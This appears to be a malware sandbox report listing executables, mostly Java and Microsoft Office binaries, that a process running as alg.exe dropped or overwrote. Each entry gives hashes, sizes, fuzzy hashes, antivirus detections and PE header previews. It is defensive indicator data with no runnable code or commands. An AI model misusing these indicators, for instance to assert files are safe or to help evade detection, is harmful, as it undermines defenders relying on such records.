SHA-512:	A8E905E279336F8D1ABCBF47877D90135B765197227FF114F75C3DDAACCEB7836249C7EFC85C17FE54D1CA88C0299AEB1098491F9A34866719C132219655FBA7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......VT.f.5.5.5.5.5.5.M\5.5.5pM.4.5.5pM.4.5.5pM.4.5.5.^.4.5.5.5.5.5.5pM.455.5.L.4.5.5.L05.5.5.L.4.5.5Rich.5.5........................PE..L.....d.................P...........K.......`....@.................................0.......................................8...@......................................T...............................@............`...............................text....O.......P.................. ..`.rdata...g...`...h...T..............@..@.data...@...........................@....rsrc...............................@..@.reloc...`...p.......@..............@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1530880
Entropy (8bit):	5.00027907830496
Encrypted:	false
SSDEEP:	24576:zfU/h/4Kn/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:zM/VnLNiXicJFFRGNzj3
MD5:	5C2882BC7A338E20807003974DB96503
SHA1:	6DC919C82E3C992DB56D1B0AE5FF91FD2AE48216
SHA-256:	63758F63DC24F0EE5B07D749CDF246A46F03D22B903225243567DACE3FC5822E
SHA-512:	F77E7AF169523DC613429B5128E492245429E58269FCF349B6EBEA7844B481D8B6D1A201208F51B591730D5C8A348EBEBA576B2208F813A627B0F6A349E9D110
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9..#}..p}..p}..pi.qr..pi.q..pi.qo..p..}pz..p..qX..p..qo..p..qh..pi.qt..p}..p...p..qr..p...p\|..p..q\|..pRich}..p........................PE..L.....d.................N...t......7........`....@..........................P".....zL.......................................!..d....P.............................P...T...............................@............`...............................text....M.......N.................. ..`.rdata..@....`.......R..............@..@.data........0......................@....rsrc.......P.......*..............@..@.reloc...p..........................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1669632
Entropy (8bit):	5.073474358576314
Encrypted:	false
SSDEEP:	24576:vx7NiBLZ05jNTmJWEx0/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:vxZiHIjNg0LNiXicJFFRGNzj3
MD5:	60E40CDD68F54CE19F9A8C2ABB9D618C
SHA1:	5786D65442DDF557460C9358FE0B46B14732DBFC
SHA-256:	984C11602C0B99E23CD7A9C2B81CBCCB9B5E3A576C0325C86C4BC8C195B30586
SHA-512:	B0F69D2C1C1C3B74241FC792CAD7471D2B4323696A484F0E8C19495C5AECC23810329A9B446E35B0D97141203741A08AEA649602F20710FB77A035173DAB110A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......p...4rv.4rv.4rv. .u.>rv. .s..rv. .r.&rv.V.r.!rv.V.u.,rv.V.s..rv. .w.?rv.4rw..rv..r.&rv..s.0rv....5rv..t.5rv.Rich4rv.................PE..L.....d............................^.............@...........................%.....1...........................................x...................................L...T............................4..@...................,........................text...,........................... ..`.rdata..:(.......*..................@..@.data............t..................@....rsrc................:..............@..@.reloc.......0......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.535175065979137
Encrypted:	false
SSDEEP:	12288:zPrtiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:zN/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	F6DE40112A46F244F96AD54CEEFD1448
SHA1:	A46835696827D0F6088473BA54644D2D6D2C6B1F
SHA-256:	AAAC9EC02048D8AA9747E008EC362204ABF6CF33DBFC5495AEB92526DC3CDE17
SHA-512:	E8858F95C262250FE1DEE3374080A808473F63BDE32D479BAD16613253A5F90E029DB5C519F3F483F85BD3A0AE604B7103189D6EC8273E9391310C10D0C80211
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..........................................................................&.......@..H............................"..T............................!..@............ ...............................text............................... ..`.rdata..6.... ......................@..@.data........0....... ..............@....rsrc...H....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1397760
Entropy (8bit):	4.700539263548253
Encrypted:	false
SSDEEP:	24576:adP/y/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:OKLNiXicJFFRGNzj3
MD5:	4E90EAA135018325FDAC38F6824EC2D1
SHA1:	21051D42626E15CBCFBC0D42A0F64BFD980714EF
SHA-256:	18F0427D8F50A6D91428A8660314ACC05BD556F3A158AE3CA8E79B61B83DB866
SHA-512:	9FF7DBAFCE02A836C90213FC40841B743B6C8A2A34454DADB01702955D4C10EC4DBD25BF205459E19D9440E0FD8721EF8912B49063DA8262E1BA95B689DDDB71
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<.$x..wx..wx..wq.uwn..wl..vp..w...v}..w...vu..w...v{..wx..w...w...v_..w...vy..w...vs..w...wy..w...vy..wRichx..w........PE..L...}.d..........................................@..........................` .....\...........................................h...................................`v..T............................u..@............................................text............................... ..`.rdata..R...........................@..@.data...P2..........................@....rsrc...............................@..@.reloc...p..........................@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\keytool.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.53520172124163
Encrypted:	false
SSDEEP:	12288:7a5ViJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:mH/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	E6DA421B5D1C50652B488443947B14AD
SHA1:	2F04EB63C1CA8854667A6B5835B847E77C81F7DA
SHA-256:	34CD8B09EA724D0AF8F2A6EA74C4F5A53F2AA20ADB3F77CE6F0BB3A6A0F109D2
SHA-512:	6D3145CA26E26AB8DB1EF1B92AFFA557CAFFE583C9CDD6BD9E2CC0778AD9E370CB344F589D3CC6CB932F637992B4F133573521D9ED3E6A7A4DCF02ABF3268A88
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................":.......................................&.......@..\............................"..T............................!..@............ ...............................text............................... ..`.rdata..>.... ......................@..@.data........0....... ..............@....rsrc...\....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\kinit.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.535257800339398
Encrypted:	false
SSDEEP:	12288:byl9iJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:GD/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	71386AB6C2526D3B5E983DBCA2565646
SHA1:	5274AE8EAEB04566279016C3539B6C55EDE66861
SHA-256:	BE6C48C810268F8EB6556FC3FBED206F566DDC57251D97E3EB402DB36AD12E19
SHA-512:	C9A3BB51747E2AA1AF8A02CBF87A60E8BFABF14D6EB98C649FF3DDD42652971FB2898E784726F9D679E9036036038CEA781874ADBD07E7A9746E8A5C195FDABC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................!>.......................................&.......@..T............................"..T............................!..@............ ...............................text............................... ..`.rdata..>.... ......................@..@.data........0....... ..............@....rsrc...T....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\klist.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.535256802055888
Encrypted:	false
SSDEEP:	12288:WKl9iJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:nD/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	6CB0660D112F7D207565F15F9967B6F3
SHA1:	D89F0A8C426C85D50F2E5EF7029543B49D2E7AF7
SHA-256:	DD1599FF310D845B34DC24DE1B8F2E2824FAD1DF2EBA9B581315CDD2DB886F94
SHA-512:	C97EBF28B119ABCE6E4F73F3E1188E4EF34D53D1AAD1C73F7A96581AF89B83A2D973A0E2D86D3FC25ACEE7EE79DFA1C51CAB1E1A28D4A01F8F828750B2A35531
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..........................................................................&.......@..T............................"..T............................!..@............ ...............................text............................... ..`.rdata..>.... ......................@..@.data........0....... ..............@....rsrc...T....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\ktab.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.535237758478876
Encrypted:	false
SSDEEP:	12288:H7mdiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:b8/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	420D3B08521585D5EDD5EB9E7AAB93C0
SHA1:	BA1ED5AE6F570096CCA2D427000807DDA6608417
SHA-256:	65823FE5EB68B2A8BBA54FD143967D3C20DF7D19AB4ABC14EC605086413EF21F
SHA-512:	1E027CB67922BDC2116B433FB14CEEB3C6C068B5CE66015DEAD98D5731352BE85A0FB9C92DC3DD8EC73F2F2C5150E471AD5E08548A35BFA5676F6B5E17BC3585
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..................................2.......................................&.......@..P............................"..T............................!..@............ ...............................text............................... ..`.rdata..6.... ......................@..@.data........0....... ..............@....rsrc...P....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\orbd.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.536076035709276
Encrypted:	false
SSDEEP:	12288:FSmBiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:EA/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	B5E51C0C0CE3EE9271E5826F052D0A09
SHA1:	519252126A98BC11A7589CFE5E4D9FE64ACC42CD
SHA-256:	A05B71DAAD119D794380C719E591AD09A0BAA657A0C00E17FEEC4B63576932CD
SHA-512:	726B65079ED043C0C9214DB58E4645487BEFAA5B03CECA49E6353EE527B5DFBF4276720B759E6EA9297691DA58892B43B0FCE696894B790CDE5AFD2161D63184
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..................................E......................................D'.......@..P........................... #..T...........................`"..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0....... ..............@....rsrc...P....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\pack200.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.5352213523491365
Encrypted:	false
SSDEEP:	12288:D45ViJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:k//TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	18FAC2084EF7706C41D61A3882CEA942
SHA1:	A45EB25B7925B73483902BC1AA401C4FD37C4F29
SHA-256:	1E5F30C55B57B133FEF736B914DC6AB0697C20B64B3E0B421EA4AED09EF05121
SHA-512:	578048458410E6953C11A26883F2F61C8BDE95E26211F799208987E012C341893F9E92B73C71FB2899583777601DE90DDF811FED86DB63DD1410E779BBE11EA4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..........................................................................&.......@..\............................"..T............................!..@............ ...............................text............................... ..`.rdata..>.... ......................@..@.data........0....... ..............@....rsrc...\....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\policytool.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.535255336997855
Encrypted:	false
SSDEEP:	12288:29/9iJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:Gp/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	D48AA587B47EA2B76945BE5799277DB2
SHA1:	59B311F38A75CB29C3C3B9D7D72BC98D55993E44
SHA-256:	1575E3929223EACC37C6ED9495B44BC35D4E197906C0FA422C0FEB5C4723E8F4
SHA-512:	37BF3532777F1C56688901E37A55BF56CB3AC4937D4E82F61E995831DF55EC1BE6150F02E178BD236B6BA28273892DC931773E8AA2DF16E0BA1B3F39C5BF6ACC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................\y.......................................&.......@..p............................"..T............................!..@............ ...............................text............................... ..`.rdata..F.... ......................@..@.data........0....... ..............@....rsrc...p....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\rmid.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.535162431484311
Encrypted:	false
SSDEEP:	12288:XBmNiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:R8/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	AB3BF526BA48960D7F63875DCE334FBC
SHA1:	EC75FE80239E2516B351843E97800608104AA2B9
SHA-256:	3CE4798C4A2234818896F3CB084C96509F2E03E9FB429C3CF1729774E063A82E
SHA-512:	70E4CCA880E9F67692571D8690247EAD2FACB89722414477081B10516E34C097DB818F6A2D1F9ED0E9901F1E748B803882CAA38A70E727418F4D3C0121E566CD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................7........................................&.......@..P............................"..T............................!..@............ ...............................text............................... ..`.rdata..6.... ......................@..@.data........0....... ..............@....rsrc...P....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\rmiregistry.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.535200782349243
Encrypted:	false
SSDEEP:	12288:M2S1iJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:VI/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	B77E348F23ACB49E65E92E507183DA10
SHA1:	FF7AC7272DA354A6888FE004FB5ED62D01C8C03B
SHA-256:	202C8DE148E7572D0CF35E808C83E062C9B890E3DE928001F4255005BF290BF2
SHA-512:	9E9FBCD28E0784FC3EBE4E4030B471F401D33B72BCA28856813DEAC1EE4F1E315DA294930B499FED2281BB90DF5AC23EC3C6486894CD4922BD095DF3E92FBF95
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................X2.......................................&.......@..p............................"..T............................!..@............ ...............................text............................... ..`.rdata..F.... ......................@..@.data........0....... ..............@....rsrc...p....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\servertool.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.535263762707974
Encrypted:	false
SSDEEP:	12288:vx/9iJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:Zp/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	70901D58818AC1B7064793463DB094E7
SHA1:	EB35E745C2E1C47D9309F028D52A982E3B9A69E0
SHA-256:	791B6BAED99295CD04246B0F954A668550472259D11255366C86ABD9894A26A7
SHA-512:	B06BFCF9DE072480025120F4B521AA363E9E600F3391A323E8D380C83D331AC0FBD05D6ED323CCE62F1CC6FDCB893B3F19275E384453F811747FE947CDBD10FF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................7........................................&.......@..p............................"..T............................!..@............ ...............................text............................... ..`.rdata..F.... ......................@..@.data........0....... ..............@....rsrc...p....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1358336
Entropy (8bit):	4.617661239139361
Encrypted:	false
SSDEEP:	24576:kDf/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:kLLNiXicJFFRGNzj3
MD5:	225A00A20EF2EC58DA6B38EFF6FCE4B0
SHA1:	12474E4D3C71612D5CF0ABAB73495E0062287FB9
SHA-256:	6A9730EF8DC685F23AD56078B8C8C8DD0BF93DA789695CBABF4F3F2517333715
SHA-512:	ECB0017EC54FF12F8D2141051F4F78B29A1CF71193E2A5C0B5F1D7846C59942FF96832457E6BD195D84B4654A5AEE759A3C5F1BA1B1F732CF321D5369DC481E2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......zGG.>&).>&).>&).7^..&).\^(.<&).\^-.3&).\^.=&).M-.?&).M(.7&).>&(.&).\^,..&)._,.:&)._..?&)._+.?&).Rich>&).........PE..L...M.d.................\|...........u............@.............................................................................@....0..............................H...T...............................@...............P...P........................text...L{.......\|.................. ..`.rdata.............................@..@.data........ ......................@....rsrc........0......................@..@.reloc...`...@......................@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\tnameserv.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1298432
Entropy (8bit):	4.534847625552664
Encrypted:	false
SSDEEP:	12288:EiQxiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:h+/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	E656F189192AE173816177B2622206CA
SHA1:	628230C0D4E2A8DA7C21CAB96E89D0A86BC98485
SHA-256:	FA7937C03BFDB34F06FED1B7EB1EF429CDD8F6A0C1C23C2FBE18EE4FDF796987
SHA-512:	82D528B5E10D6432144AD4BFF22CFAA373B16BED6DD2E6FCB0CB8C879444F5E4E34575E54BAC9D2FF1C5B42C2782CEF4F04A107441395C24C6EC26541FF0B068
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................... ............... ....@..........................................................................'.......@..h...........................8#..T...........................x"..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0......."..............@....rsrc...h....@.......$..............@..@.reloc...`...P.......0..............@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1454592
Entropy (8bit):	4.7929616813147
Encrypted:	false
SSDEEP:	24576:Oi7ln3roAT/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:Fl3roATLNiXicJFFRGNzj3
MD5:	28682D1EF5DCE62FC7121820572CAD04
SHA1:	0E214907DA3F695A29BA815E0F09506D9B0F13D8
SHA-256:	D9294359D080E5E773150F7C05362F3D86973698ACF7EF3237DC4BDAD28CA8C5
SHA-512:	28ED1BDE802BF3A4D39E30DA59B6471FC86FDF2BC62B390554C9519A21F042441A8DFD176ED1557529C551F4AE7B2C92B337165932B319E19D9672276A3C4730
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........n...........................................................................................Rich............................PE..L.....d............................A.............@..........................@!......C..................................................D............................e..8............................e..@............................................text...D........................... ..`.rdata..5...........................@..@.data................f..............@....idata...............v..............@..@.00cfg..............................@..@.rsrc...D...........................@..@.reloc...`..........................@...........................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1424896
Entropy (8bit):	4.816678107370052
Encrypted:	false
SSDEEP:	24576:nNfQPn/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:NEnLNiXicJFFRGNzj3
MD5:	BDEABF622B12B9B1911A5F6215770ABA
SHA1:	124ED0BCEF45DE31B742FC93AF9F2C00D7A42A41
SHA-256:	946F1550F165DB73D80943FF6EB829807BF0E72BED477A24479CF629A4666734
SHA-512:	C873D790B9D779A36E264D5688B2B5525B565D20AE09FA7BFAB1577A333F89ECC391213E13D01C240A538D810756F5C479A6819CD803BE877D2B1F9FCEC3B16A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X.u.....................\|.......\|.......\|.......\|...?.......................................y.......y.......y.......Rich............................PE..L...-1.e............... ..........................@........................... .....iI......................................d...........................................8...............................@...............,............................text............................... ..`.rdata..4a.......b..................@..@.data........ ......................@....reloc...p...@......................@...........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1443328
Entropy (8bit):	4.837566531113427
Encrypted:	false
SSDEEP:	24576:vLiT/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:kLNiXicJFFRGNzj3
MD5:	3C7410CBC9C3C9D999B89311BED8D362
SHA1:	AD142A1A9996A06B9F6FADA5B5D680E7F3FED30D
SHA-256:	981C401FBC7DD704977166871F26CAA224C7BEDEB03ED39D425DA20E372F8FE0
SHA-512:	850AB56A04A9EF441071E1E6D11146BFE9015A2C95848F8F0472BC07010E9ECB2C26DEDE0A8C5F0A9EF493F633FC43CE2423FD2755CA3728B2FC2169D848E221
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......,3.zhR.)hR.)hR.)a.)`R.). .(nR.). .(wR.). .(oR.)hR.).V.). .(AR.). o)jR.). .(xR.). m)iR.). .(iR.)RichhR.)................PE..L...I.6..................&...H......`........@....@........................... .................. ...........................Q.......`..(...........................`^..T....................B..........@............P...............................text....$.......&.................. ..`.data........@.....................@....idata..l....P.......2..............@..@.rsrc...(....`.......@..............@..@.reloc.......p.......F..............@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1443328
Entropy (8bit):	4.8375614208476305
Encrypted:	false
SSDEEP:	24576:zLiT/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:YLNiXicJFFRGNzj3
MD5:	CD4442C1E439F632DDD877E8C0753D17
SHA1:	8D154EB2BE04D180663E6A093CDE53E75D9FF191
SHA-256:	0E2CB81974AF1DBCA32631A80DE4D3A2E9FBE81A788A45C965C481EB09DE6E7B
SHA-512:	DB1EDE3D26F92C96354A4D95090C331087DDE4675F626E43CEBA97A9A83A7B8883C6E9A26FB1B0BB550CD35169CCABF2D38ACE092666FFDB14EC106150E785C3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......,3.zhR.)hR.)hR.)a.)`R.). .(nR.). .(wR.). .(oR.)hR.).V.). .(AR.). o)jR.). .(xR.). m)iR.). .(iR.)RichhR.)................PE..L...I.6..................&...H......`........@....@........................... ......}........... ...........................Q.......`..(...........................`^..T....................B..........@............P...............................text....$.......&.................. ..`.data........@.....................@....idata..l....P.......2..............@..@.rsrc...(....`.......@..............@..@.reloc.......p.......F..............@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1499136
Entropy (8bit):	4.791829406544983
Encrypted:	false
SSDEEP:	24576:0fj/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:0fjLNiXicJFFRGNzj3
MD5:	3F44F4C103190BD6104770F6CB9044C6
SHA1:	355BEE5A4E8481707B24E5F61DD8F5BC4F1E8308
SHA-256:	F5C7CB66C6DAEEC9620B0DF69BB2B564F662E015F11C72E5D4813BCE97AFBDFD
SHA-512:	14E4C122A3364F274A45C8888D1B1CBAC01F8DB6F98E24E5DF009C36FBC0860F6A849212432993C87E72654FBF31388BA76C4C6C3C34E17C7159877BCE0C5AE3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... .(.d.F.d.F.d.F.m..l.F...B.h.F...E.`.F...C.{.F...G.c.F.d.G...F...N.M.F.....f.F.....e.F...D.e.F.Richd.F.................PE..d....~0/.........."..........P.................@..............................!........... .......... ...................................... ........ ..(...............................T....................e..(...`d..8............e...............................text............................... ..`.rdata..............................@..@.data...@...........................@....pdata..............................@..@.rsrc...(.... ......................@..@.reloc.......0....... ..............@...........................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1651712
Entropy (8bit):	5.157790283653952
Encrypted:	false
SSDEEP:	24576:KbUO42q/Ea/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:KxaLNiXicJFFRGNzj3
MD5:	F58242E964CCC21544A7E53EF7A33406
SHA1:	77F3A79A58FDAF98F20A32383F3BE3D510AB1E46
SHA-256:	B8C8EE56A25D01DB728AE099F38AE8A088D1068EC15CDB3EFEDB8E7ADADBAC5D
SHA-512:	F2A591D44E00177240F765A2573ADACBA2B9547FBFA9A5A374AECEE9A1311FBCEC3B7940A38FB1FC1877D23C447CFC8FA6BED9E318057258E9F4D0DE20CC7438
Malicious:	true
